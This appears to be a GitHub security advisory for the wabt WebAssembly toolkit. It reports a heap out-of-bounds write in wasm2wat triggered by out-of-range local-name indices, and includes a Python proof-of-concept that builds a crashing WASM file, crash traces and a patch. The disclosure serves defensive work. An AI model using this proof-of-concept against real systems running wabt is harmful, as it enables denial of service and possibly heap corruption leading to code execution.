Skip to content

Heap Buffer OOB Write in wabt MakeTypeBindingReverseMapping #2743

@arthurscchan

Description

@arthurscchan

Description of the vulnerability and its impact

A crafted WASM binary with a name section whose local-names subsection supplies individual
local_index values exceeding the function's actual parameter and local count causes an
out-of-bounds heap write in wasm2wat. The binary reader's OnLocalNameLocalCount check
validates only how many name entries appear, not the range of their individual index values.
The unchecked local_index is inserted into func->bindings without bounds validation
(src/binary-reader-ir.cc:1779) and later reaches MakeTypeBindingReverseMapping in
src/ir.cc:609, where a std::vector<std::string> is subscripted at the attacker-controlled
index past the end of its allocation.

The only guard is an assert() at ir.cc:608 — compiled out with -DNDEBUG in all
Release builds — leaving a raw, unchecked heap write in production. The write offset is
local_index × sizeof(std::string) (32 bytes per index) past the vector base, and the
write value is the attacker-supplied name string, making this a strong controlled-write
primitive.

Impact: Reliable DoS (process abort) in all builds. In Release builds without ASAN,
heap corruption can overwrite adjacent objects; a skilled attacker with control over heap
layout could potentially escalate to arbitrary code execution.

First faulty condition: src/binary-reader-ir.cc:1779func->bindings.emplace(..., Binding(local_index)) with no per-index bounds check.

Crash/write site: src/ir.cc:609(*out_reverse_mapping)[binding.index] = name.


How to reproduce

# Generate a 42-byte WASM with local_index=1 for a 1-param function (valid range: [0,0])
python3 << "EOF"
def leb128u(n):
    out = []
    while True:
        b = n & 0x7F; n >>= 7
        if n: b |= 0x80
        out.append(b)
        if not n: break
    return bytes(out)

def wstr(s):
    b = s.encode(); return leb128u(len(b)) + b

header       = b'\x00asm\x01\x00\x00\x00'
type_section = b'\x01\x04\x01\x60\x00\x00'
func_section = b'\x03\x02\x01\x00'
func_body    = b'\x01\x01\x7f\x0b'
code_payload = b'\x01' + leb128u(len(func_body)) + func_body
code_section = b'\x0a' + leb128u(len(code_payload)) + code_payload

local_names_data = leb128u(1) + leb128u(0) + leb128u(1) + leb128u(0x1000000) + wstr("a")
subsection   = b'\x02' + leb128u(len(local_names_data)) + local_names_data
name_payload = wstr("name") + subsection
name_section = b'\x00' + leb128u(len(name_payload)) + name_payload

wasm = header + type_section + func_section + code_section + name_section
with open('poc.wasm', 'wb') as f: f.write(wasm)
EOF

ASAN_OPTIONS="detect_leaks=0" wasm2wat poc.wasm -o /dev/null

Debug build (-DCMAKE_BUILD_TYPE=Debug) output (assert fires):

wasm2wat: src/ir.cc:608: void wabt::MakeTypeBindingReverseMapping(size_t, const BindingHash &, std::vector<std::string> *): Assertion `static_cast<size_t>(binding.index) < out_reverse_mapping->size()' failed.
Aborted

Release build (-DCMAKE_BUILD_TYPE=Release) output:

AddressSanitizer:DEADLYSIGNAL
=================================================================
==1534902==ERROR: AddressSanitizer: SEGV on unknown address 0x5030200027d0 (pc 0x7f9d0f36d123 bp 0x7fff0cf93f00 sp 0x7fff0cf93ed0 T0)
==1534902==The signal is caused by a READ memory access.
    #0 0x7f9d0f36d123 in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_assign(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&) (/lib/x86_64-linux-gnu/libstdc++.so.6+0x16d123) (BuildId: 8d4f2235ec34ae33c412aa436c18ef4618f2efa6)
    #1 0x56183c724e1a in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::assign(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&) /usr/bin/../lib/gcc/x86_64-linux-gnu/14/../../../../include/c++/14/bits/basic_string.h:1619:8
    #2 0x56183c724e1a in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::operator=(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&) /usr/bin/../lib/gcc/x86_64-linux-gnu/14/../../../../include/c++/14/bits/basic_string.h:819:15
    #3 0x56183c724e1a in wabt::MakeTypeBindingReverseMapping(unsigned long, wabt::BindingHash const&, std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>>>*) ./wabt/src/ir.cc:609:43
    #4 0x56183c6b4c3d in wabt::(anonymous namespace)::NameApplier::VisitFunc(unsigned int, wabt::Func*) ./wabt/src/apply-names.cc:480:3
    #5 0x56183c6b4c3d in wabt::(anonymous namespace)::NameApplier::VisitModule(wabt::Module*) ./wabt/src/apply-names.cc:554:5
    #6 0x56183c6b4c3d in wabt::ApplyNames(wabt::Module*) ./wabt/src/apply-names.cc:577:18
    #7 0x56183c6b0d8c in ProgramMain(int, char**) ./wabt/src/tools/wasm2wat.cc:129:31
    #8 0x7f9d0ee2a337 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #9 0x7f9d0ee2a3fa in __libc_start_main csu/../csu/libc-start.c:360:3
    #10 0x56183c5d46d4 in _start (./wabt/build/wasm2wat+0x706d4) (BuildId: 612cf9eca12828173cb5d7d7bb85407c24500191)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libstdc++.so.6+0x16d123) (BuildId: 8d4f2235ec34ae33c412aa436c18ef4618f2efa6) in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_assign(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
==1534902==ABORTING

Which WABT tools or library functions are affected

  • Primary tool: wasm2wat
  • First faulty condition: BinaryReaderIR::OnLocalNamesrc/binary-reader-ir.cc:1779
  • Write site: MakeTypeBindingReverseMappingsrc/ir.cc:609
  • Also affected: any other tool or library caller that invokes ApplyNames() after
    reading a WASM binary with a name section — including wat-writer.cc, c-writer.cc,
    generate-names.cc, and binary-writer.cc, all of which share the same vulnerable function.

Which WebAssembly features must be enabled

None. The WASM name section is a standard custom section processed by default.
No --enable-* flags are required to trigger this vulnerability.


Suggested fix

Add a per-index bounds check in OnLocalName, matching the existing count check in
OnLocalNameLocalCount:

--- a/src/binary-reader-ir.cc
+++ b/src/binary-reader-ir.cc
@@ -1771,6 +1771,12 @@ Result BinaryReaderIR::OnLocalName(Index func_index,
   if (name.empty()) {
     return Result::Ok;
   }
   Func* func = module_->funcs[func_index];
+  Index num_params_and_locals = func->GetNumParamsAndLocals();
+  if (local_index >= num_params_and_locals) {
+    PrintError("local name index (%" PRIindex ") out of range (%" PRIindex ")",
+               local_index, num_params_and_locals);
+    return Result::Error;
+  }
   func->bindings.emplace(GetUniqueName(&func->bindings, MakeDollarName(name)),
                          Binding(local_index));
   return Result::Ok;

Attribution

Reported by: Anthropic security team
Analysed by: AdaLogics / Claude (Anthropic)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions